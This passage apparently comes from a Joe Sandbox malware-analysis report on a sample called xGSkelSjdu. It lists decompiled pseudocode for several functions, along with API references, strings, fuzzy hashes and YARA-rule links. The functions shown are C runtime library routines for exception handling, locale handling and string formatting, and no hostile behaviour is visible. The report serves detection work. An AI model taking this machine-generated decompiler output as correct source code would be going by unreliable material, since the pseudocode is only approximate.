API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 66168ffb5d01939ca89961d648466c928df9717a30ece444e26877a4c7958f7e
Instruction ID: 3cca6ecb3595cb742278cc89a54cf60fab15e619ad5a37a19053eb7502f0eea9
Opcode Fuzzy Hash: 66168ffb5d01939ca89961d648466c928df9717a30ece444e26877a4c7958f7e
Instruction Fuzzy Hash: 5211F6B1E00209EFDB00EFA5D946AED7BB0FF04318F11806EF854A7251DB389A959F58

Uniqueness

Uniqueness Score: -1.00%

Function 004129FD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E004129FD(void* __edx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;

				_t25 = __edi;
				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E00416B12(_t23, __edx, __edi, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E00416B12(_t23, __edx, __edi, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E00416B12(_t23, __edx, __edi, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x428940);
						E0041879C(_t23, __edi, __esi);
						_t19 =  *((intOrPtr*)(E00416B12(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E004187E1(E0041361A(_t23, _t24, _t25));
					}
				}
			}

0x004129fd
0x004129fd
0x00412a07
0x00412a0e
0x00412a2d
0x00412a34
0x00412a3b
0x00412a40
0x00412a40
0x00412a40
0x00000000
0x00412a10
0x00412a10
0x00412a15
0x00412a42
0x00412a42
0x00412a45
0x00412a17
0x00412a1c
0x00416eeb
0x00416eed
0x00416ef2
0x00416efc
0x00416f01
0x00416f03
0x00416f07
0x00416f12
0x00416f12
0x00416f23
0x00416f23
0x00412a15

APIs

__getptd.LIBCMT ref: 00412A17

Part of subcall function 00416B12: __getptd_noexit.LIBCMT ref: 00416B15
Part of subcall function 00416B12: __amsg_exit.LIBCMT ref: 00416B22

__getptd.LIBCMT ref: 00412A28
__getptd.LIBCMT ref: 00412A36

Strings

csm, xrefs: 00412A10
MOC, xrefs: 00412A09

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: f8a511caf9312a006c9fd196a2b93189a6fe33fb1c6ecbf837ebdf4ad7392d78
Instruction ID: ee77a4f496def610ecffed7d03b0651f7e71f5308c4ab026972a512605c8854c
Opcode Fuzzy Hash: f8a511caf9312a006c9fd196a2b93189a6fe33fb1c6ecbf837ebdf4ad7392d78
Instruction Fuzzy Hash: 2CE04F756142049FC720AF65D146BA93394EF54319F1A41E7E40CC7322D77CE8D0AA6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041638E Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0041638E(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x4288b0);
				E0041879C(__ebx, __edi, __esi);
				_t31 = E00416B12(__ebx, __edx, __edi, _t35);
				_t15 =  *0x44c420; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00418B9E(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x44c328; // 0x20c1608
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x44bf00;
								if(__eflags != 0) {
									_push(_t33);
									E00411A0C(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x44c328; // 0x20c1608
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x44c328; // 0x20c1608
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00416429();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00417A13(_t29, _t31, 0x20);
				}
				return E004187E1(_t33);
			}

0x0041638e
0x0041638e
0x0041638e
0x0041638e
0x00416390
0x00416395
0x0041639f
0x004163a1
0x004163a9
0x004163ca
0x004163d0
0x004163d4
0x004163d7
0x004163da
0x004163e0
0x004163e2
0x004163e4
0x004163e7
0x004163ed
0x004163ef
0x004163f1
0x004163f7
0x004163f9
0x004163fa
0x004163ff
0x004163f7
0x004163ef
0x00416400
0x00416405
0x00416408
0x0041640e
0x00416412
0x00416412
0x00416418
0x0041641f
0x004163b1
0x004163b1
0x004163b1
0x004163b6
0x004163ba
0x004163bf
0x004163c7

APIs

__getptd.LIBCMT ref: 0041639A

Part of subcall function 00416B12: __getptd_noexit.LIBCMT ref: 00416B15
Part of subcall function 00416B12: __amsg_exit.LIBCMT ref: 00416B22

__amsg_exit.LIBCMT ref: 004163BA
__lock.LIBCMT ref: 004163CA
InterlockedDecrement.KERNEL32(?), ref: 004163E7
InterlockedIncrement.KERNEL32(020C1608), ref: 00416412

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 17b7727a538c2ba80635d2f57ad3d36cd9144358519ce4971d2e8018d3ef2d4b
Instruction ID: e259c64d85ff985491704c865861b5df9e08fe8ea312b9401e2c412421fdc859
Opcode Fuzzy Hash: 17b7727a538c2ba80635d2f57ad3d36cd9144358519ce4971d2e8018d3ef2d4b
Instruction Fuzzy Hash: 25018E36A017259BDB20AF2598057DEB7A0BB05B64F16401BE810A3291CB3CA9C1CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 0040B580 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 154
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040B580(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed char _a20, signed int _a24) {
				signed char _v8;
				signed int _v12;
				intOrPtr _v16;
				int _v20;
				long _v132;
				char _v140;
				intOrPtr _v144;
				signed int _v145;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				signed char _v164;
				signed char _t81;
				signed int _t108;
				void* _t119;

				_v152 = __ecx;
				_v20 = 0x6c;
				if(E00409F40(_a16) > 0 || (E00409720(_a16) & 0x00002000) != 0) {
					_v156 = E00409F40(_a16);
				} else {
					_v156 = 6;
				}
				_v16 = _v156;
				if(_v16 <= 0x24) {
					_v160 = _v16;
				} else {
					_v160 = 0x24;
				}
				_v144 = _v160;
				_v16 = _v16 - _v144;
				_v8 = 0;
				_v12 = 0;
				_t81 = E00409720(_a16) & 0x00003000;
				if(_t81 == 0x2000) {
					asm("fcomp qword [ebp+0x1c]");
					asm("fnstsw ax");
					if((_t81 & 0x00000044) == 0) {
						asm("fldz");
						asm("fcomp qword [ebp+0x1c]");
						asm("fnstsw ax");
						if((_t81 & 0x00000041) != 0) {
							_v164 = 0;
						} else {
							_v164 = 1;
						}
						_v145 = _v164;
						if((_v145 & 0x000000ff) != 0) {
							asm("fchs");
						}
						while(1) {
							asm("fcomp qword [0x425018]");
							asm("fnstsw ax");
							if((_t81 & 0x00000001) != 0 || _v8 >= 0x1388) {
								break;
							}
							_a24 = _a24 /  *0x425010;
							_t81 = _v8 + 0xa;
							_v8 = _t81;
						}
						asm("fcomp qword [0x424370]");
						asm("fnstsw ax");
						__eflags = _t81 & 0x00000041;
						if((_t81 & 0x00000041) == 0) {
							while(1) {
								__eflags = _v16 - 0xa;
								if(_v16 < 0xa) {
									goto L26;
								}
								asm("fcomp qword [ebp+0x1c]");
								asm("fnstsw ax");
								__eflags = _t81 & 0x00000001;
								if((_t81 & 0x00000001) == 0) {
									__eflags = _v12 - 0x1388;
									if(_v12 < 0x1388) {
										_a24 = _a24 *  *0x425010;
										_v16 = _v16 - 0xa;
										_t108 = _v12 + 0xa;
										__eflags = _t108;
										_v12 = _t108;
										continue;
									}
								}
								goto L26;
							}
						}
						L26:
						__eflags = _v145 & 0x000000ff;
						if((_v145 & 0x000000ff) != 0) {
							asm("fchs");
						}
					}
				}
				 *(_t119 - 8) = _a24;
				_push(_v144);
				E0040BB70(__eflags, _v152, _a4, _a8, _a12, _a16, _a20 & 0x000000ff,  &_v132, _v8, _v12, _v16, swprintf( &_v132, 0x6c, E0040BA90(_v152,  &_v140, 0, E00409720(_a16))));
				return _a4;
			}

0x0040b589
0x0040b58f
0x0040b5a0
0x0040b5c5
0x0040b5b1
0x0040b5b1
0x0040b5b1
0x0040b5d1
0x0040b5d8
0x0040b5e9
0x0040b5da
0x0040b5da
0x0040b5da
0x0040b5f5
0x0040b604
0x0040b607
0x0040b60e
0x0040b61d
0x0040b627
0x0040b636
0x0040b639
0x0040b63e
0x0040b644
0x0040b646
0x0040b649
0x0040b64e
0x0040b65c
0x0040b650
0x0040b650
0x0040b650
0x0040b66c
0x0040b67b
0x0040b680
0x0040b682
0x0040b690
0x0040b693
0x0040b699
0x0040b69e
0x00000000
0x00000000
0x0040b6b2
0x0040b68a
0x0040b68d
0x0040b68d
0x0040b6ba
0x0040b6c0
0x0040b6c2
0x0040b6c5
0x0040b6d2
0x0040b6d2
0x0040b6d6
0x00000000
0x00000000
0x0040b6de
0x0040b6e1
0x0040b6e3
0x0040b6e6
0x0040b6e8
0x0040b6ef
0x0040b6fa
0x0040b703
0x0040b6cc
0x0040b6cc
0x0040b6cf
0x00000000
0x0040b6cf
0x0040b6ef
0x00000000
0x0040b6e6
0x0040b6d2
0x0040b708
0x0040b70f
0x0040b711
0x0040b716
0x0040b718
0x0040b711
0x0040b63e
0x0040b721
0x0040b72a
0x0040b788
0x0040b796

APIs

swprintf.LIBCMT ref: 0040B753

Strings

l, xrefs: 0040B58F
$, xrefs: 0040B5DA
$, xrefs: 0040B5D4

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: swprintf
String ID: $$$$l
API String ID: 233258989-1469801561
Opcode ID: 1eefa42e881bb47ef593f108e600d1f96a78f43e7b693e49a45d281ac98d55e4
Instruction ID: 7470c3d4dd691cc97da11e082fe46d02498ed5bc6b16e8a5a442e5cf03acabd7
Opcode Fuzzy Hash: 1eefa42e881bb47ef593f108e600d1f96a78f43e7b693e49a45d281ac98d55e4
Instruction Fuzzy Hash: 72516B7090060DDBDF14CF54D954BAE7BB4FF84304F4081EAE998A2281DB399AA5CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B7A0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B7A0(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed char _a20, signed int _a24) {
				signed char _v8;
				signed int _v12;
				intOrPtr _v16;
				int _v20;
				long _v132;
				char _v140;
				intOrPtr _v144;
				signed int _v145;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				signed char _v164;
				signed char _t78;
				signed int _t105;
				void* _t116;

				_v152 = __ecx;
				_v20 = 0x6c;
				if(E00409F40(_a16) > 0 || (E00409720(_a16) & 0x00002000) != 0) {
					_v156 = E00409F40(_a16);
				} else {
					_v156 = 6;
				}
				_v16 = _v156;
				if(_v16 <= 0x24) {
					_v160 = _v16;
				} else {
					_v160 = 0x24;
				}
				_v144 = _v160;
				_v16 = _v16 - _v144;
				_v8 = 0;
				_v12 = 0;
				_t78 = E00409720(_a16) & 0x00003000;
				if(_t78 == 0x2000) {
					asm("fldz");
					asm("fcomp qword [ebp+0x1c]");
					asm("fnstsw ax");
					if((_t78 & 0x00000041) != 0) {
						_v164 = 0;
					} else {
						_v164 = 1;
					}
					_v145 = _v164;
					if((_v145 & 0x000000ff) != 0) {
						asm("fchs");
					}
					while(1) {
						asm("fcomp qword [0x425018]");
						asm("fnstsw ax");
						if((_t78 & 0x00000001) != 0 || _v8 >= 0x1388) {
							break;
						}
						_a24 = _a24 /  *0x425010;
						_t78 = _v8 + 0xa;
						_v8 = _t78;
					}
					asm("fcomp qword [0x424370]");
					asm("fnstsw ax");
					__eflags = _t78 & 0x00000041;
					if((_t78 & 0x00000041) == 0) {
						while(1) {
							__eflags = _v16 - 0xa;
							if(_v16 < 0xa) {
								goto L25;
							}
							asm("fcomp qword [ebp+0x1c]");
							asm("fnstsw ax");
							__eflags = _t78 & 0x00000001;
							if((_t78 & 0x00000001) == 0) {
								__eflags = _v12 - 0x1388;
								if(_v12 < 0x1388) {
									_a24 = _a24 *  *0x425010;
									_v16 = _v16 - 0xa;
									_t105 = _v12 + 0xa;
									__eflags = _t105;
									_v12 = _t105;
									continue;
								}
							}
							goto L25;
						}
					}
					L25:
					__eflags = _v145 & 0x000000ff;
					if((_v145 & 0x000000ff) != 0) {
						asm("fchs");
					}
				}
				 *(_t116 - 8) = _a24;
				_push(_v144);
				E0040BB70(__eflags, _v152, _a4, _a8, _a12, _a16, _a20 & 0x000000ff,  &_v132, _v8, _v12, _v16, swprintf( &_v132, 0x6c, E0040BA90(_v152,  &_v140, 0x4c, E00409720(_a16))));
				return _a4;
			}

0x0040b7a9
0x0040b7af
0x0040b7c0
0x0040b7e5
0x0040b7d1
0x0040b7d1
0x0040b7d1
0x0040b7f1
0x0040b7f8
0x0040b809
0x0040b7fa
0x0040b7fa
0x0040b7fa
0x0040b815
0x0040b824
0x0040b827
0x0040b82e
0x0040b83d
0x0040b847
0x0040b84d
0x0040b84f
0x0040b852
0x0040b857
0x0040b865
0x0040b859
0x0040b859
0x0040b859
0x0040b875
0x0040b884
0x0040b889
0x0040b88b
0x0040b899
0x0040b89c
0x0040b8a2
0x0040b8a7
0x00000000
0x00000000
0x0040b8bb
0x0040b893
0x0040b896
0x0040b896
0x0040b8c3
0x0040b8c9
0x0040b8cb
0x0040b8ce
0x0040b8db
0x0040b8db
0x0040b8df
0x00000000
0x00000000
0x0040b8e7
0x0040b8ea
0x0040b8ec
0x0040b8ef
0x0040b8f1
0x0040b8f8
0x0040b903
0x0040b90c
0x0040b8d5
0x0040b8d5
0x0040b8d8
0x00000000
0x0040b8d8
0x0040b8f8
0x00000000
0x0040b8ef
0x0040b8db
0x0040b911
0x0040b918
0x0040b91a
0x0040b91f
0x0040b921
0x0040b91a
0x0040b92a
0x0040b933
0x0040b991
0x0040b99f

APIs

swprintf.LIBCMT ref: 0040B95C

Strings

$, xrefs: 0040B7F4
$, xrefs: 0040B7FA
l, xrefs: 0040B7AF

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: swprintf
String ID: $$$$l
API String ID: 233258989-1469801561
Opcode ID: dc1342dd92f6591bc002be2f2d1d8dd59dfcbbbd9d6989cd2fa3f94a0a1904ce
Instruction ID: 2778893c48495caf0de2e551ce7abccbd3100d5e15471237f38d75fb0740572a
Opcode Fuzzy Hash: dc1342dd92f6591bc002be2f2d1d8dd59dfcbbbd9d6989cd2fa3f94a0a1904ce
Instruction Fuzzy Hash: A0516AB190051DDBDF14DF55D954BEE7BB8FF44300F00C0AAE998A2281DB389AA5CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041306E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0041306E(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E00412FDC(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0040F712(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E00412A46(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E00412CC1(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0040F6D9(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0041306e
0x0041306e
0x0041306e
0x0041306e
0x0041306e
0x00413073
0x00413077
0x00413079
0x0041307c
0x0041307d
0x0041307e
0x00413081
0x00413086
0x00413086
0x00413089
0x0041308d
0x00413090
0x00413095
0x00413092
0x00413092
0x00413092
0x00413098
0x0041309d
0x0041309f
0x004130a2
0x004130a5
0x004130a6
0x004130ae
0x004130b3
0x004130b7
0x004130ba
0x004130bd
0x004130c3
0x004130c4
0x004130c7
0x004130d1
0x004130d5
0x00000000
0x004130d5
0x004130db

APIs

___BuildCatchObject.LIBCMT ref: 00413081

Part of subcall function 00412FDC: ___BuildCatchObjectHelper.LIBCMT ref: 00413012

_UnwindNestedFrames.LIBCMT ref: 00413098
___FrameUnwindToState.LIBCMT ref: 004130A6

Strings

csm, xrefs: 0041307D, 00413092, 004130A5, 004130C3, 004130D3

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: 7f79c1ff8c3a8d6420469f4db6b479fd1f6a452101df286149a2211488d43642
Instruction ID: 7d91ac31271a5b3faa062870cfd4fe66913910a355ffb1c73352899fefe4df4c
Opcode Fuzzy Hash: 7f79c1ff8c3a8d6420469f4db6b479fd1f6a452101df286149a2211488d43642
Instruction Fuzzy Hash: DC012831000109BFDF226E52CD45EEA3FAAFF08355F044026BD0855661D77A99B1EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00415F16 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00415F16() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x425b78;
					_v28 =  *0x425b70;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00415f1b
0x00415f23
0x00415f3a
0x00415ee6
0x00415eef
0x00415efb
0x00415efe
0x00415f01
0x00415f03
0x00415f06
0x00415f0b
0x00415f15
0x00415f0d
0x00415f11
0x00415f11
0x00415f25
0x00415f2b
0x00415f33
0x00000000
0x00415f35
0x00415f35
0x00415f39
0x00415f39
0x00415f33

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040F18A), ref: 00415F1B
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00415F2B

Strings

KERNEL32, xrefs: 00415F16
IsProcessorFeaturePresent, xrefs: 00415F25

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 795bd1d0555dc67c99d55fec2c99e43aca9944586fcfef3edfbbad83ba366715
Instruction ID: 4a6f935eae6c83b11584402d9d9c7888b2aceb91a875724c393441ac738c8827
Opcode Fuzzy Hash: 795bd1d0555dc67c99d55fec2c99e43aca9944586fcfef3edfbbad83ba366715
Instruction Fuzzy Hash: 3EF03031B00E09D2EF102BA1BD0E6EF7E78BBC0746FD10591D1D6A0084DF7991B6D65A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC77 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC77(void* __eax) {
				void* _t30;

				if(__eax != 0xffffffff) {
					 *((intOrPtr*)(_t30 - 4)) =  *((intOrPtr*)(_t30 - 0x10));
					 *0x44cde8 =  *((intOrPtr*)(_t30 - 0x10));
					 *((intOrPtr*)(_t30 - 0x14)) =  *((intOrPtr*)(_t30 - 0x10));
					E00409790( *((intOrPtr*)(_t30 - 0x14)));
					E0040AD30( *((intOrPtr*)(_t30 - 0x14)));
				} else {
					E0040FCE9(_t30 - 0x20, "bad cast");
					E0040FB4B(_t30 - 0x20, 0x428134);
				}
				 *((intOrPtr*)(_t30 - 0x24)) =  *((intOrPtr*)(_t30 - 4));
				E0040E6DF(_t30 - 0xc);
				return  *((intOrPtr*)(_t30 - 0x24));
			}

0x0040ac7d
0x0040ac9f
0x0040aca5
0x0040acae
0x0040acb4
0x0040acbc
0x0040ac7f
0x0040ac87
0x0040ac95
0x0040ac95
0x0040acc4
0x0040acca
0x0040acd5

APIs

std::bad_exception::bad_exception.LIBCMT ref: 0040AC87

Part of subcall function 0040FCE9: std::exception::exception.LIBCMT ref: 0040FCF5

__CxxThrowException@8.LIBCMT ref: 0040AC95

Part of subcall function 0040FB4B: RaiseException.KERNEL32(?,?,00411481,0040AE83,?,?,?,?,00411481,0040AE83,0042816C,0044D0C0,0040AE83,00000000,00000000), ref: 0040FB8D

std::locale::facet::_Incref.LIBCPMTD ref: 0040ACB4

Strings

bad cast, xrefs: 0040AC7F

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ExceptionException@8IncrefRaiseThrowstd::bad_exception::bad_exceptionstd::exception::exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 1747706208-3145022300
Opcode ID: de30f99afbbd3caa5c4b814078729325b897895479660ffe22fce0c790698435
Instruction ID: 1bdc4d494a227a88bc7cd08585281e16a6d48324c31f98dab140e35538d1927b
Opcode Fuzzy Hash: de30f99afbbd3caa5c4b814078729325b897895479660ffe22fce0c790698435
Instruction Fuzzy Hash: 85F04F74E04218CBCB00DF95D9828EEB3B1BF48304B20467EE415733D1DA386E10CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040E84F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 79%

			E0040E84F(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t27;
				intOrPtr* _t33;
				void* _t34;

				_push(0x44);
				E00411AA9(E00422113, __ebx, __edi, __esi);
				E00409450(_t34 - 0x28, "invalid string position");
				 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
				_t27 = _t34 - 0x50;
				E0040E7C8(_t27, _t34 - 0x28);
				E0040FB4B(_t34 - 0x50, 0x428448);
				asm("int3");
				_push(4);
				E00411AA9(E004220F0, __ebx, __edi, __esi);
				_t33 = _t27;
				 *((intOrPtr*)(_t34 - 0x10)) = _t33;
				_t30 =  *((intOrPtr*)(_t34 + 8));
				E0040FC69(_t27,  *((intOrPtr*)(_t34 + 8)));
				 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
				 *_t33 = 0x42515c;
				E00409E20(_t33 + 0xc, _t30 + 0xc, _t30 + 0xc);
				return E00411B48(_t33);
			}

0x0040e84f
0x0040e856
0x0040e863
0x0040e868
0x0040e870
0x0040e873
0x0040e881
0x0040e886
0x0040e887
0x0040e88e
0x0040e893
0x0040e895
0x0040e898
0x0040e89c
0x0040e8a1
0x0040e8ac
0x0040e8b2
0x0040e8be

APIs

__EH_prolog3.LIBCMT ref: 0040E856
std::bad_exception::bad_exception.LIBCMT ref: 0040E873

Part of subcall function 0040E7C8: std::runtime_error::runtime_error.LIBCPMT ref: 0040E7D3

__CxxThrowException@8.LIBCMT ref: 0040E881

Part of subcall function 0040FB4B: RaiseException.KERNEL32(?,?,00411481,0040AE83,?,?,?,?,00411481,0040AE83,0042816C,0044D0C0,0040AE83,00000000,00000000), ref: 0040FB8D

Strings

invalid string position, xrefs: 0040E85B

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
